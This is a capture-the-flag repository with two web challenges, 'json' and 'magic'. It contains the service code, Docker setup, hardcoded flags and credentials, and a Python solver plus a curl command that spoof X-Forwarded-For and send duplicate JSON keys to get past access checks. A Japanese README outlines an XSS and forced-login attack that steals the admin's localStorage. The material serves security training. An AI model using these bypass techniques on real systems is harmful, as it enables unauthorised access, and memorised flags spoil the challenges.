indirect 15 | golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2 // indirect 16 | golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57 // indirect 17 | gopkg.in/yaml.v2 v2.4.0 // indirect 18 | ) 19 | -------------------------------------------------------------------------------- /web/json/build/api/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "io/ioutil" 5 | "os" 6 | 7 | "github.com/buger/jsonparser" 8 | "github.com/gin-gonic/gin" 9 | ) 10 | 11 | func main() { 12 | r := gin.Default() 13 | 14 | r.POST("/", func(c *gin.Context) { 15 | body, err := ioutil.ReadAll(c.Request.Body) 16 | if err != nil { 17 | c.String(400, "Failed to read body") 18 | return 19 | } 20 | 21 | id, err := jsonparser.GetInt(body, "id") 22 | if err != nil { 23 | c.String(400, "Failed to parse json") 24 | return 25 | } 26 | 27 | if id == 0 { 28 | c.String(200, "The quick brown fox jumps over the lazy dog.") 29 | return 30 | } 31 | if id == 1 { 32 | c.String(200, "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.") 33 | return 34 | } 35 | if id == 2 { 36 | // Flag!!! 37 | flag := os.Getenv("FLAG") 38 | c.String(200, flag) 39 | return 40 | } 41 | 42 | c.String(400, "No data") 43 | }) 44 | 45 | if err := r.Run(":8000"); err != nil { 46 | panic("server is not started") 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /web/json/build/bff/Dockerfile: -------------------------------------------------------------------------------- 1 | ARG GO_VERSION=1.16 2 | ARG ALPINE_VERSION=3.12 3 | 4 | # build-stage 5 | 6 | FROM golang:${GO_VERSION}-alpine${ALPINE_VERSION} as build-stage 7 | 8 | WORKDIR /app 9 | 10 | COPY go.mod . 11 | COPY go.sum . 12 | 13 | RUN go mod download 14 | 15 | COPY . . 16 | 17 | RUN go build 18 | 19 | # roduction-stage 20 | 21 | FROM alpine:${ALPINE_VERSION} as production-stage 22 | 23 | RUN addgroup appgroup && adduser --disabled-password --no-create-home appuser -G appgroup 24 | 25 | WORKDIR /app 26 | 27 | COPY --from=build-stage /app/bff . 28 | COPY ./templates ./templates 29 | 30 | RUN chown -R appuser:appgroup /app 31 | 32 | RUN chmod +x ./bff 33 | 34 | USER appuser 35 | 36 | CMD ./bff 37 | -------------------------------------------------------------------------------- /web/json/build/bff/go.mod: -------------------------------------------------------------------------------- 1 | module bff 2 | 3 | go 1.16 4 | 5 | require ( 6 | github.com/gin-gonic/gin v1.6.3 7 | github.com/go-playground/validator/v10 v10.4.1 // indirect 8 | github.com/golang/protobuf v1.5.2 // indirect 9 | github.com/json-iterator/go v1.1.10 // indirect 10 | github.com/leodido/go-urn v1.2.1 // indirect 11 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 12 | github.com/modern-go/reflect2 v1.0.1 // indirect 13 | github.com/ugorji/go v1.2.5 // indirect 14 | golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2 // indirect 15 | golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57 // indirect 16 | gopkg.in/yaml.v2 v2.4.0 // indirect 17 | ) 18 | -------------------------------------------------------------------------------- /web/json/build/bff/templates/error.tmpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Internal Website / 内部ページ 8 | 9 | 10 | 11 | 12 |
13 |
14 |

Internal Website / 内部ページ

15 |

このページはローカルネットワーク(192.168.111.0/24)内の端末からのみ閲覧できます。This page can only be viewed from a device within the local network(192.168.111.0/24).

16 |

あなたのIPアドレスは"{{ .ip }}"です。Your IP adress is "{{ .ip }}".

17 |

あなたはこのページを閲覧できません。You are not allowed to view this page.

18 |
19 |
20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /web/json/build/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | nginx: 5 | build: ./nginx 6 | ports: 7 | - 80:80 8 | bff: 9 | build: ./bff 10 | api: 11 | build: ./api 12 | environment: 13 | - FLAG=ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck} 14 | -------------------------------------------------------------------------------- /web/json/build/nginx/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nginx:latest 2 | 3 | COPY default.conf /etc/nginx/conf.d/default.conf 4 | -------------------------------------------------------------------------------- /web/json/build/nginx/default.conf: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | listen [::]:80; 4 | server_name localhost; 5 | 6 | location / { 7 | proxy_pass http://bff:8080; 8 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 9 | } 10 | 11 | error_page 500 502 503 504 /50x.html; 12 | location = /50x.html { 13 | root /usr/share/nginx/html; 14 | } 15 | 16 | } 17 | -------------------------------------------------------------------------------- /web/json/files/json/api/Dockerfile: -------------------------------------------------------------------------------- 1 | ARG GO_VERSION=1.16 2 | ARG ALPINE_VERSION=3.12 3 | 4 | # build-stage 5 | 6 | FROM golang:${GO_VERSION}-alpine${ALPINE_VERSION} as build-stage 7 | 8 | WORKDIR /app 9 | 10 | COPY go.mod . 11 | COPY go.sum . 12 | 13 | RUN go mod download 14 | 15 | COPY . . 16 | 17 | RUN go build 18 | 19 | # roduction-stage 20 | 21 | FROM alpine:${ALPINE_VERSION} as production-stage 22 | 23 | RUN addgroup appgroup && adduser --disabled-password --no-create-home appuser -G appgroup 24 | 25 | WORKDIR /app 26 | 27 | COPY --from=build-stage /app/api . 28 | 29 | RUN chown -R appuser:appgroup /app 30 | 31 | RUN chmod +x ./api 32 | 33 | USER appuser 34 | 35 | CMD ./api 36 | -------------------------------------------------------------------------------- /web/json/files/json/api/go.mod: -------------------------------------------------------------------------------- 1 | module api 2 | 3 | go 1.16 4 | 5 | require ( 6 | github.com/buger/jsonparser v1.1.1 7 | github.com/gin-gonic/gin v1.6.3 8 | github.com/go-playground/validator/v10 v10.4.1 // indirect 9 | github.com/golang/protobuf v1.5.2 // indirect 10 | github.com/json-iterator/go v1.1.10 // indirect 11 | github.com/leodido/go-urn v1.2.1 // indirect 12 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 13 | github.com/modern-go/reflect2 v1.0.1 // indirect 14 | github.com/ugorji/go v1.2.5 // indirect 15 | golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2 // indirect 16 | golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57 // indirect 17 | gopkg.in/yaml.v2 v2.4.0 // indirect 18 | ) 19 | -------------------------------------------------------------------------------- /web/json/files/json/api/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "io/ioutil" 5 | "os" 6 | 7 | "github.com/buger/jsonparser" 8 | "github.com/gin-gonic/gin" 9 | ) 10 | 11 | func main() { 12 | r := gin.Default() 13 | 14 | r.POST("/", func(c *gin.Context) { 15 | body, err := ioutil.ReadAll(c.Request.Body) 16 | if err != nil { 17 | c.String(400, "Failed to read body") 18 | return 19 | } 20 | 21 | id, err := jsonparser.GetInt(body, "id") 22 | if err != nil { 23 | c.String(400, "Failed to parse json") 24 | return 25 | } 26 | 27 | if id == 0 { 28 | c.String(200, "The quick brown fox jumps over the lazy dog.") 29 | return 30 | } 31 | if id == 1 { 32 | c.String(200, "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.") 33 | return 34 | } 35 | if id == 2 { 36 | // Flag!!! 37 | flag := os.Getenv("FLAG") 38 | c.String(200, flag) 39 | return 40 | } 41 | 42 | c.String(400, "No data") 43 | }) 44 | 45 | if err := r.Run(":8000"); err != nil { 46 | panic("server is not started") 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /web/json/files/json/bff/Dockerfile: -------------------------------------------------------------------------------- 1 | ARG GO_VERSION=1.16 2 | ARG ALPINE_VERSION=3.12 3 | 4 | # build-stage 5 | 6 | FROM golang:${GO_VERSION}-alpine${ALPINE_VERSION} as build-stage 7 | 8 | WORKDIR /app 9 | 10 | COPY go.mod . 11 | COPY go.sum . 12 | 13 | RUN go mod download 14 | 15 | COPY . . 16 | 17 | RUN go build 18 | 19 | # roduction-stage 20 | 21 | FROM alpine:${ALPINE_VERSION} as production-stage 22 | 23 | RUN addgroup appgroup && adduser --disabled-password --no-create-home appuser -G appgroup 24 | 25 | WORKDIR /app 26 | 27 | COPY --from=build-stage /app/bff . 28 | COPY ./templates ./templates 29 | 30 | RUN chown -R appuser:appgroup /app 31 | 32 | RUN chmod +x ./bff 33 | 34 | USER appuser 35 | 36 | CMD ./bff 37 | -------------------------------------------------------------------------------- /web/json/files/json/bff/go.mod: -------------------------------------------------------------------------------- 1 | module bff 2 | 3 | go 1.16 4 | 5 | require ( 6 | github.com/gin-gonic/gin v1.6.3 7 | github.com/go-playground/validator/v10 v10.4.1 // indirect 8 | github.com/golang/protobuf v1.5.2 // indirect 9 | github.com/json-iterator/go v1.1.10 // indirect 10 | github.com/leodido/go-urn v1.2.1 // indirect 11 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 12 | github.com/modern-go/reflect2 v1.0.1 // indirect 13 | github.com/ugorji/go v1.2.5 // indirect 14 | golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2 // indirect 15 | golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57 // indirect 16 | gopkg.in/yaml.v2 v2.4.0 // indirect 17 | ) 18 | -------------------------------------------------------------------------------- /web/json/files/json/bff/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "io/ioutil" 7 | "net" 8 | "net/http" 9 | 10 | "github.com/gin-gonic/gin" 11 | ) 12 | 13 | type Info struct { 14 | ID int `json:"id" binding:"required"` 15 | } 16 | 17 | // check if the accessed user is in the local network (192.168.111.0/24) 18 | func checkLocal() gin.HandlerFunc { 19 | return func(c *gin.Context) { 20 | clientIP := c.ClientIP() 21 | ip := net.ParseIP(clientIP).To4() 22 | if ip[0] != byte(192) || ip[1] != byte(168) || ip[2] != byte(111) { 23 | c.HTML(200, "error.tmpl", gin.H{ 24 | "ip": clientIP, 25 | }) 26 | c.Abort() 27 | return 28 | } 29 | } 30 | } 31 | 32 | func main() { 33 | r := gin.Default() 34 | r.Use(checkLocal()) 35 | r.LoadHTMLGlob("templates/*") 36 | 37 | r.GET("/", func(c *gin.Context) { 38 | c.HTML(200, "index.html", nil) 39 | }) 40 | 41 | r.POST("/", func(c *gin.Context) { 42 | // get request body 43 | body, err := ioutil.ReadAll(c.Request.Body) 44 | if err != nil { 45 | c.JSON(400, gin.H{"error": "Failed to read body."}) 46 | return 47 | } 48 | 49 | // parse json 50 | var info Info 51 | if err := json.Unmarshal(body, &info); err != nil { 52 | c.JSON(400, gin.H{"error": "Invalid parameter."}) 53 | return 54 | } 55 | 56 | // validation 57 | if info.ID < 0 || info.ID > 2 { 58 | c.JSON(400, gin.H{"error": "ID must be an integer between 0 and 2."}) 59 | return 60 | } 61 | 62 | if info.ID == 2 { 63 | c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."}) 64 | return 65 | } 66 | 67 | // get data from api server 68 | req, err := http.NewRequest("POST", "http://api:8000", bytes.NewReader(body)) 69 | if err != nil { 70 | c.JSON(400, gin.H{"error": "Failed to request API."}) 71 | return 72 | } 73 | req.Header.Set("Content-Type", "application/json") 74 | client := new(http.Client) 75 | resp, err := client.Do(req) 76 | if err != nil { 77 | c.JSON(400, gin.H{"error": "Failed to request API."}) 78 | return 79 | } 80 | defer resp.Body.Close() 81 | result, err := ioutil.ReadAll(resp.Body) 82 | if err != nil { 83 | c.JSON(400, gin.H{"error": "Failed to request API."}) 84 | return 85 | } 86 | 87 | c.JSON(200, gin.H{"result": string(result)}) 88 | }) 89 | 90 | if err := r.Run(":8080"); err != nil { 91 | panic("server is not started") 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /web/json/files/json/bff/templates/error.tmpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Internal Website / 内部ページ 8 | 9 | 10 | 11 | 12 |
13 |
14 |

Internal Website / 内部ページ

15 |

このページはローカルネットワーク(192.168.111.0/24)内の端末からのみ閲覧できます。This page can only be viewed from a device within the local network(192.168.111.0/24).

16 |

あなたのIPアドレスは"{{ .ip }}"です。Your IP adress is "{{ .ip }}".

17 |

あなたはこのページを閲覧できません。You are not allowed to view this page.

18 |
19 |
20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /web/json/files/json/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | nginx: 5 | build: ./nginx 6 | ports: 7 | - 80:80 8 | bff: 9 | build: ./bff 10 | api: 11 | build: ./api 12 | environment: 13 | - FLAG=FAKE{this_is_fake_flag} 14 | -------------------------------------------------------------------------------- /web/json/files/json/nginx/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nginx:latest 2 | 3 | COPY default.conf /etc/nginx/conf.d/default.conf 4 | -------------------------------------------------------------------------------- /web/json/files/json/nginx/default.conf: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | listen [::]:80; 4 | server_name localhost; 5 | 6 | location / { 7 | proxy_pass http://bff:8080; 8 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 9 | } 10 | 11 | error_page 500 502 503 504 /50x.html; 12 | location = /50x.html { 13 | root /usr/share/nginx/html; 14 | } 15 | 16 | } 17 | -------------------------------------------------------------------------------- /web/json/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8-alpine 2 | 3 | WORKDIR /app 4 | ADD . /app 5 | 6 | RUN pip install -r requirements.txt 7 | 8 | CMD ["python", "/app/solver.py"] 9 | -------------------------------------------------------------------------------- /web/json/solver/requirements.txt: -------------------------------------------------------------------------------- 1 | requests == 2.25.1 2 | -------------------------------------------------------------------------------- /web/json/solver/solver.py: -------------------------------------------------------------------------------- 1 | import os 2 | import requests 3 | 4 | """ 5 | $ curl -X POST \ 6 | -H 'X-Forwarded-For:192.168.111.1' \ 7 | -H "Content-Type: application/json" \ 8 | -d '{"id":2, "id":0}' \ 9 | http://localhost 10 | """ 11 | 12 | 13 | def crawl(url): 14 | try: 15 | payload = '{"id": 2, "id": 0}' 16 | res = requests.post( 17 | url, 18 | headers={ 19 | "content-type": "application/json", 20 | "X-Forwarded-For": "192.168.111.1", 21 | }, 22 | data=payload, 23 | timeout=3, 24 | ) 25 | print(res.text) # 結果(フラグを含む)を標準出力 26 | res.raise_for_status() 27 | if "ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}" in res.text: 28 | return 0 29 | else: 30 | return 1 31 | except Exception as e: 32 | print(e) 33 | return 2 34 | 35 | 36 | if __name__ == "__main__": 37 | print(crawl("https://{}:{}".format(os.getenv("CTF4B_HOST"), os.getenv("CTF4B_PORT")))) 38 | -------------------------------------------------------------------------------- /web/magic/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{w0w_y0ur_skil1ful_3xploi7_c0de_1s_lik3_4_ma6ic_7rick} 2 | -------------------------------------------------------------------------------- /web/magic/README.md: -------------------------------------------------------------------------------- 1 | ## 題材とする脆弱性 2 | 3 | 各ユーザー自身しかアクセスできない箇所のXSSをMagicLinkを使って悪用可能にする 4 | 5 | ## 実現するためのテーマ 6 | 7 | MagicLinkを強制ログインとして使い、各ユーザー自身しかアクセスできない箇所のXSSを攻撃可能にして管理者のローカルストレージ(FLAG)を取得する 8 | 9 | ## 想定する参加者が解答までに至る思考経路 10 | 11 | 各ユーザー自身しかアクセスできない箇所のXSSがあるメモアプリにMagicLink生成機能がある 12 | 13 | 攻撃者のページにXSSを仕込んだ状態で攻撃者のアカウントへ強制ログインをさせるMagicLinkをバグ報告ページから送信することで、管理者のブラウザ上で攻撃者のページへの強制ログイン&仕込んでいたXSSが起動し、ローカルストレージ(FLAG)を取得することができる 14 | 15 | ## 想定する難易度 16 | 17 | Hard 18 | -------------------------------------------------------------------------------- /web/magic/build/crawler/.dockerignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | -------------------------------------------------------------------------------- /web/magic/build/crawler/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:16-buster 2 | 3 | RUN apt-get update \ 4 | && apt-get install -y wget gnupg \ 5 | && wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \ 6 | && sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \ 7 | && apt-get update \ 8 | && apt-get install -y google-chrome-stable fonts-ipafont-gothic fonts-wqy-zenhei fonts-thai-tlwg fonts-kacst fonts-freefont-ttf libxss1 \ 9 | --no-install-recommends \ 10 | && rm -rf /var/lib/apt/lists/* 11 | 12 | ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true \ 13 | PUPPETEER_EXECUTABLE_PATH=/usr/bin/google-chrome 14 | 15 | COPY ./dumb-init_1.2.5_x86_64 /usr/local/bin/dumb-init 16 | RUN chmod +x /usr/local/bin/dumb-init 17 | 18 | WORKDIR /app 19 | 20 | RUN addgroup appgroup \ 21 | && useradd appuser -G appgroup \ 22 | && mkdir -p /home/appuser/Downloads \ 23 | && chown -R appuser:appgroup /home/appuser \ 24 | && chown -R appuser:appgroup /app 25 | 26 | COPY package.json ./ 27 | COPY yarn.lock ./ 28 | 29 | RUN yarn 30 | 31 | COPY . . 32 | 33 | USER appuser 34 | 35 | ENTRYPOINT ["dumb-init", "--"] 36 | CMD ["node", "index.js"] 37 | -------------------------------------------------------------------------------- /web/magic/build/crawler/dumb-init_1.2.5_x86_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/web/magic/build/crawler/dumb-init_1.2.5_x86_64 -------------------------------------------------------------------------------- /web/magic/build/crawler/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "crawler", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "dependencies": { 7 | "ioredis": "^4.27.2", 8 | "puppeteer": "^9.1.1", 9 | "uuid": "^8.3.2" 10 | }, 11 | "devDependencies": {}, 12 | "scripts": { 13 | "test": "echo \"Error: no test specified\" && exit 1" 14 | }, 15 | "author": "", 16 | "license": "ISC" 17 | } 18 | -------------------------------------------------------------------------------- /web/magic/build/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | nginx: 5 | build: ./nginx 6 | ports: 7 | - 80:80 8 | magic: 9 | build: ./magic 10 | environment: 11 | - SESSION_SECRET=U6hHFZEzYGwLEezWHMjf3QM83Vn2DDSt 12 | - MYSQL_HOST=mysql 13 | - MYSQL_PORT=3306 14 | - MYSQL_USER=user 15 | - MYSQL_DATABASE=db 16 | - MYSQL_PASSWORD=cV1DJZQZjMRphX4J 17 | - REDIS_HOST=redis 18 | - REDIS_PORT=6379 19 | - WAIT_HOSTS=mysql:3306 20 | - WAIT_HOSTS_TIMEOUT=120 21 | mysql: 22 | image: mysql:5.7 23 | environment: 24 | - MYSQL_USER=user 25 | - MYSQL_DATABASE=db 26 | - MYSQL_PASSWORD=cV1DJZQZjMRphX4J 27 | - MYSQL_ROOT_PASSWORD=tjBFu2hfyXXL15X5 28 | command: mysqld --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci --max_connections=1000 29 | volumes: 30 | - ./init:/docker-entrypoint-initdb.d 31 | - mysql:/var/lib/mysql 32 | redis: 33 | image: redis:6-alpine 34 | volumes: 35 | - redis:/data 36 | ports: 37 | - 16379:6379 38 | 39 | crawler: 40 | build: ./crawler 41 | environment: 42 | - USERNAME=admin 43 | - PASSWORD=NNg74WLfBqaLQarn8BjBqQ2GE5vGstZ4 44 | - FLAG=ctf4b{w0w_y0ur_skil1ful_3xploi7_c0de_1s_lik3_4_ma6ic_7rick} 45 | - APP_URL=http://magic:3000/ 46 | - REDIS_HOST=redis 47 | - REDIS_PORT=6379 48 | 49 | volumes: 50 | mysql: 51 | redis: 52 | -------------------------------------------------------------------------------- /web/magic/build/init/init.sql: -------------------------------------------------------------------------------- 1 | use `db`; 2 | 3 | DROP TABLE IF EXISTS `user`; 4 | CREATE TABLE user ( 5 | `id` bigint NOT NULL AUTO_INCREMENT PRIMARY KEY, 6 | `name` VARCHAR(255) NOT NULL UNIQUE, 7 | `pass` VARCHAR(255) NOT NULL, 8 | `magic_token` VARCHAR(255) NOT NULL UNIQUE, 9 | INDEX idx_name (`name`), 10 | INDEX idx_magic_token (`magic_token`) 11 | ) ENGINE=InnoDB DEFAULT CHARACTER SET utf8mb4; 12 | 13 | DROP TABLE IF EXISTS `memo`; 14 | CREATE TABLE memo ( 15 | `id` bigint NOT NULL AUTO_INCREMENT PRIMARY KEY, 16 | `user_id` int NOT NULL, 17 | `text` TEXT NOT NULL, 18 | INDEX idx_user_id (`user_id`) 19 | ) ENGINE=InnoDB DEFAULT CHARACTER SET utf8mb4; 20 | 21 | /* admin */ 22 | INSERT INTO user (name, pass, magic_token) VALUES ("admin", "$2b$10$rBtjqhQFdQ4SOiEXqKQVOux6UWhtyvuFRPqB6lPMsY8Ew1VErMKDu", "3210c2b6-b532-4925-997f-e26c2c447e08"); 23 | 24 | /* solver 攻撃ユーザー */ 25 | INSERT INTO user (name, pass, magic_token) VALUES ("Pdg7pcv3kCKMPFGk8YmtcQ56unxBpFVP", "$2b$10$9MpcjdmmUMNcKiaKJ0OzV.ghGH3zqwY7.ATNg.2kfotFb3b/LTvM2", "643984ee-3cfd-416f-ad00-3067143357e9"); 26 | /* solver 攻撃コード */ 27 | INSERT INTO memo (user_id, text) VALUES (2, ''); 28 | 29 | /* solver クロール依頼ユーザー */ 30 | INSERT INTO user (name, pass, magic_token) VALUES ("96qmzCV67UFnqdfD", "$2b$10$U4YaGm1K1Y7slK8dRnzxfOOqX4c7.DM5.Fhp9ll753PQ0lXXarKDC", "e7afd5d3-88df-431b-8294-024c656897bf"); 31 | 32 | REVOKE all privileges ON db.* FROM user; 33 | GRANT SELECT ON db.* TO user; 34 | GRANT INSERT ON db.* TO user; 35 | GRANT DELETE ON db.* TO user; 36 | -------------------------------------------------------------------------------- /web/magic/build/magic/.dockerignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | -------------------------------------------------------------------------------- /web/magic/build/magic/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:14 2 | 3 | WORKDIR /app 4 | 5 | COPY package.json ./ 6 | COPY yarn.lock ./ 7 | 8 | RUN yarn 9 | 10 | COPY . . 11 | 12 | RUN chmod +x ./bin/wait 13 | 14 | CMD ./bin/wait && yarn start 15 | -------------------------------------------------------------------------------- /web/magic/build/magic/bin/wait: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/web/magic/build/magic/bin/wait -------------------------------------------------------------------------------- /web/magic/build/magic/bin/www: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | /** 4 | * Module dependencies. 5 | */ 6 | 7 | var app = require('../app'); 8 | var debug = require('debug')('service:server'); 9 | var http = require('http'); 10 | 11 | /** 12 | * Get port from environment and store in Express. 13 | */ 14 | 15 | var port = normalizePort(process.env.PORT || '3000'); 16 | app.set('port', port); 17 | 18 | /** 19 | * Create HTTP server. 20 | */ 21 | 22 | var server = http.createServer(app); 23 | 24 | /** 25 | * Listen on provided port, on all network interfaces. 26 | */ 27 | 28 | server.listen(port); 29 | server.on('error', onError); 30 | server.on('listening', onListening); 31 | 32 | /** 33 | * Normalize a port into a number, string, or false. 34 | */ 35 | 36 | function normalizePort(val) { 37 | var port = parseInt(val, 10); 38 | 39 | if (isNaN(port)) { 40 | // named pipe 41 | return val; 42 | } 43 | 44 | if (port >= 0) { 45 | // port number 46 | return port; 47 | } 48 | 49 | return false; 50 | } 51 | 52 | /** 53 | * Event listener for HTTP server "error" event. 54 | */ 55 | 56 | function onError(error) { 57 | if (error.syscall !== 'listen') { 58 | throw error; 59 | } 60 | 61 | var bind = typeof port === 'string' 62 | ? 'Pipe ' + port 63 | : 'Port ' + port; 64 | 65 | // handle specific listen errors with friendly messages 66 | switch (error.code) { 67 | case 'EACCES': 68 | console.error(bind + ' requires elevated privileges'); 69 | process.exit(1); 70 | break; 71 | case 'EADDRINUSE': 72 | console.error(bind + ' is already in use'); 73 | process.exit(1); 74 | break; 75 | default: 76 | throw error; 77 | } 78 | } 79 | 80 | /** 81 | * Event listener for HTTP server "listening" event. 82 | */ 83 | 84 | function onListening() { 85 | var addr = server.address(); 86 | var bind = typeof addr === 'string' 87 | ? 'pipe ' + addr 88 | : 'port ' + addr.port; 89 | debug('Listening on ' + bind); 90 | } 91 | -------------------------------------------------------------------------------- /web/magic/build/magic/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | magic: 5 | build: ./ 6 | environment: 7 | - SESSION_SECRET=xxxx 8 | - MYSQL_HOST=mysql 9 | - MYSQL_PORT=3306 10 | - MYSQL_USER=user 11 | - MYSQL_DATABASE=db 12 | - MYSQL_PASSWORD=pass 13 | - REDIS_HOST=redis 14 | - REDIS_PORT=6379 15 | - WAIT_HOSTS=mysql:3306 16 | - WAIT_HOSTS_TIMEOUT=120 17 | ports: 18 | - 80:3000 19 | mysql: 20 | image: mysql:5.7 21 | environment: 22 | - MYSQL_USER=user 23 | - MYSQL_DATABASE=db 24 | - MYSQL_PASSWORD=pass 25 | - MYSQL_ROOT_PASSWORD=root 26 | command: mysqld --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci --max_connections=1000 27 | volumes: 28 | - ./init:/docker-entrypoint-initdb.d 29 | redis: 30 | image: redis:6-alpine 31 | -------------------------------------------------------------------------------- /web/magic/build/magic/init/init.sql: -------------------------------------------------------------------------------- 1 | use `db`; 2 | 3 | DROP TABLE IF EXISTS `user`; 4 | CREATE TABLE user ( 5 | `id` bigint NOT NULL AUTO_INCREMENT PRIMARY KEY, 6 | `name` VARCHAR(255) NOT NULL UNIQUE, 7 | `pass` VARCHAR(255) NOT NULL, 8 | `magic_token` VARCHAR(255) NOT NULL UNIQUE, 9 | INDEX idx_name (`name`), 10 | INDEX idx_magic_token (`magic_token`) 11 | ) ENGINE=InnoDB DEFAULT CHARACTER SET utf8mb4; 12 | 13 | DROP TABLE IF EXISTS `memo`; 14 | CREATE TABLE memo ( 15 | `id` bigint NOT NULL AUTO_INCREMENT PRIMARY KEY, 16 | `user_id` int NOT NULL, 17 | `text` TEXT NOT NULL, 18 | INDEX idx_user_id (`user_id`) 19 | ) ENGINE=InnoDB DEFAULT CHARACTER SET utf8mb4; 20 | 21 | REVOKE all privileges ON db.* FROM user; 22 | GRANT SELECT ON db.* TO user; 23 | GRANT INSERT ON db.* TO user; 24 | GRANT DELETE ON db.* TO user; 25 | -------------------------------------------------------------------------------- /web/magic/build/magic/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "service", 3 | "version": "0.0.0", 4 | "private": true, 5 | "scripts": { 6 | "start": "node ./bin/www" 7 | }, 8 | "dependencies": { 9 | "bcrypt": "^5.0.1", 10 | "connect-redis": "^5.2.0", 11 | "cookie-parser": "^1.4.5", 12 | "csurf": "^1.11.0", 13 | "debug": "^4.3.1", 14 | "ejs": "^3.1.6", 15 | "express": "^4.17.1", 16 | "express-session": "^1.17.1", 17 | "http-errors": "^1.8.0", 18 | "ioredis": "^4.27.2", 19 | "morgan": "^1.10.0", 20 | "mysql": "^2.18.1", 21 | "uuid": "^8.3.2" 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /web/magic/build/magic/public/static/index.js: -------------------------------------------------------------------------------- 1 | if (localStorage.getItem("memo")) { 2 | document.getElementById("memoField").value = localStorage.getItem("memo"); 3 | } 4 | 5 | document.getElementById("memoField").addEventListener("change", (event) => { 6 | localStorage.setItem("memo", document.getElementById("memoField").value); 7 | }); 8 | 9 | document.getElementById("saveMemo").addEventListener("click", (event) => { 10 | localStorage.removeItem("memo"); 11 | }); 12 | 13 | document.getElementById("copyMagicLink").addEventListener("click", (event) => { 14 | const token = document.getElementById("magicLink").value; 15 | const link = document.location.origin + "/magic?token=" + token; 16 | navigator.clipboard.writeText(link); 17 | }); 18 | -------------------------------------------------------------------------------- /web/magic/build/magic/views/error.ejs: -------------------------------------------------------------------------------- 1 |

<%= message %>

2 |

<%= error.status %>

3 | -------------------------------------------------------------------------------- /web/magic/build/magic/views/login.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Login - Magic Memo App 6 | 7 | 8 | 9 | 10 |
11 |
12 |
13 |

Login

14 |
15 |
16 |
17 |
18 |
19 | 20 |
21 | 22 |
23 |
24 |
25 | 26 |
27 | 28 |
29 |
30 | 31 |
32 | 33 |
34 |
35 | <% if (message !== "") { %> 36 |
37 |

<%= message %>

38 |
39 | <% } %> 40 |

You don't have an account? Go register.

41 |
42 |
